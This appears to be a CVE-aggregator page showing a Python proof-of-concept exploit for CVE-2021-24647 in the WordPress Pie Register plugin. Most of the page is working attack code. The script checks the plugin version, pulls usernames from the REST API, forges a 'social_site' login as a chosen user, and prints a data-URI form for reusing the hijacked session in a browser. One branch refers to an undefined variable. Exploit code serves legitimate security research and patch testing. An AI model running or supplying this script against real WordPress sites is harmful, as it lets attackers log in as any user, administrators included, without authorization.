4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3
import os
import click
import argparse
import requests
import json
import base64
from bs4 import BeautifulSoup
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from requests.exceptions import RequestException
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
session = requests.Session()

### Pie Register < 3.7.1.6 - Unauthenticated Arbitrary Login
### 
### CVE-2021-24647
###
### Fixed in version 3.7.1.6
###
### script by randomrobbiebf

def version_check(wordpress_url):
    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}
    plugin_url = ""+wordpress_url+"/wp-content/plugins/pie-register/readme.txt"
    response = requests.get(plugin_url, headers=headers,verify=False,timeout=30)
    if response.status_code == 200:
        content = response.text

        version_line = next((line for line in content.split('\n') if line.startswith('Stable tag:')), None)
        if version_line:
            version = version_line.split(':')[1].strip()
            if version >= '3.7.1.6':
                print("The plugin version is 3.7.1.6 or above.")
                exit()
            else:
                print("The plugin version is below 3.7.1.6.")
                print("The plugin version is "+version+"")
                return version
        else:
            print("Failed to find the version information in the readme.txt file.")
            exit()
    else:
        print("Plugin not installed")
        exit()






# Method 2: Using WordPress REST API
def get_usernames_rest_api(wordpress_url):
    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299'}
    api_url = wordpress_url + '/wp-json/wp/v2/users'
    response = session.get(api_url, headers=headers, verify=False)
    if response.status_code == 200:
        users = response.json()
        usernames = [user['name'] for user in users]
        user_ids = [user['id'] for user in users]
        deduplicated_usernames = list(set(usernames))
        return user_ids, deduplicated_usernames
    else:
        print(f"Failed to fetch usernames using REST API. Error: {response.text}")
        return [], []

# Method 4: Using the Wordpress Rest API
def scrape_users_via_rest_api(wordpress_url):
    try:
        headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299'}
        api_url = f"{wordpress_url}/?rest_route=/wp/v2/users"
        response = requests.get(api_url, headers=headers, verify=False)
        if response.status_code == 200:
            users = response.json()
            usernames = [user['name'] for user in users]
            user_ids = [user['id'] for user in users]
            deduplicated_usernames = list(set(usernames))
            return user_ids, deduplicated_usernames
        else:
            print(f"Failed to fetch usernames using REST Route API. Error: {response.text}")
            return [], []
    except Exception as e:
        print("Error occurred while scraping users:", str(e))
        return [], []

# Function to select user
def select_user(user_ids, usernames):
    users = [{'id': user_id, 'name': username} for user_id, username in zip(user_ids, usernames)]
    click.echo("Select a user:")
    for user in users:
        click.echo(f"{user['id']}. {user['name']}")

    user_id = click.prompt("Enter the user ID", type=int)
    selected_user = next((user for user in users if user['id'] == user_id), None)
    if selected_user:
        return selected_user
    else:
        click.echo("Invalid user ID.")
        return None





def sendem(selected_user,wordpress_url,wordpress_path,version):
    # Create a session
    session = requests.Session()
    user_id = selected_user['id']
    username = selected_user['name']
    # Set the request headers
    headers = {
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-GB,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'  # Replace with a real user agent
    }

    # Set the POST data based on the version
    if version <= '3.7.1.5':
        data = {
        'log': 'a',
        'pwd': 'a',
        'social_site': 'true',
        'user_id_social_site': user_id,
        'wp-submit': 'Log In',
        'testcookie': '1'
        }
    elif version == '3.7.1.6':
        data = {
        'log': username,
        'pwd': 'a',
        'social_site': 'true',
        'wp-submit': 'Log In'
        }
    else:
        raise ValueError("Invalid version number")

    # Make the POST request
    url = ''+wordpress_url+'/'+wordpress_path+'/'  # Replace with the actual URL

    try:
        response = session.post(url, headers=headers, data=data, verify=False)
        response.raise_for_status()
    except RequestException as e:
        print("Error occurred:", e)
    else:
        # Print the response
        print("")

    if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
       print("Boom we were able to login as "+username+" copy and paste the following in to your browser and refresh and you will be logged in.")
       if version <= '3.7.1.5':
          form1 = """<html><body>
                     <script>history.pushState('', '', '/');</script>
                     <form action="{}{}" method="POST">
                     <input type="hidden" name="log" value="a" />
                     <input type="hidden" name="pwd" value="a" />
                     <input type="hidden" name="social&#95;site" value="true" />
                     <input type="hidden" name="user&#95;id&#95;social&#95;site" value="{}" />
                     <input type="hidden" name="wp&#45;submit" value="Log&#32;In" />
                     <input type="hidden" name="testcookie" value="1" /><input type="submit" value="Submit request" />
                     </form></body></html>""".format(wordpress_url,wordpress_path,user_id)
          form1_base64 = base64.b64encode(form1.encode()).decode()
          data_uri = f"data:text/html;base64,{form1_base64}"
          print("")
          print(data_uri)
       else:
           form2 = """<html><body>
                     <script>history.pushState('', '', '/');</script>
                     <form action="{}{}" method="POST">
                     <input type="hidden" name="log" value="{}" />
                     <input type="hidden" name="pwd" value="a" />
                     <input type="hidden" name="social&#95;site" value="true" />
                     <input type="hidden" name="wp&#45;submit" value="Log&#32;In" />
                     <input type="submit" value="Submit request" />
                     </form>
                     </body>
                     </html>""".format(wordpress_url,wordpress_path,username)
           data_uri2 = f"data:text/html;base64,{form2_base64}"
           print("")
           print(data_uri2)
      

    


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-w", "--url", required=True, help="URL of the WordPress site")
    parser.add_argument("-p", "--path", required=False, default="/login/",help="Path of the Login Page /login/ or /pie-registration/")
    args = parser.parse_args()
    wordpress_url = args.url
    wordpress_path = args.path
    version = version_check(wordpress_url)
    # Obtain user IDs and deduplicated usernames using Method 2
    user_ids, deduplicated_usernames = get_usernames_rest_api(wordpress_url)

    # Alternatively, obtain user IDs and deduplicated usernames using Method 4
    # user_ids, deduplicated_usernames = scrape_users_via_rest_api(wordpress_url)

    # Pass the user IDs and deduplicated usernames to the select_user function
    selected_user = select_user(user_ids, deduplicated_usernames)
    sendem(selected_user,wordpress_url,wordpress_path,version)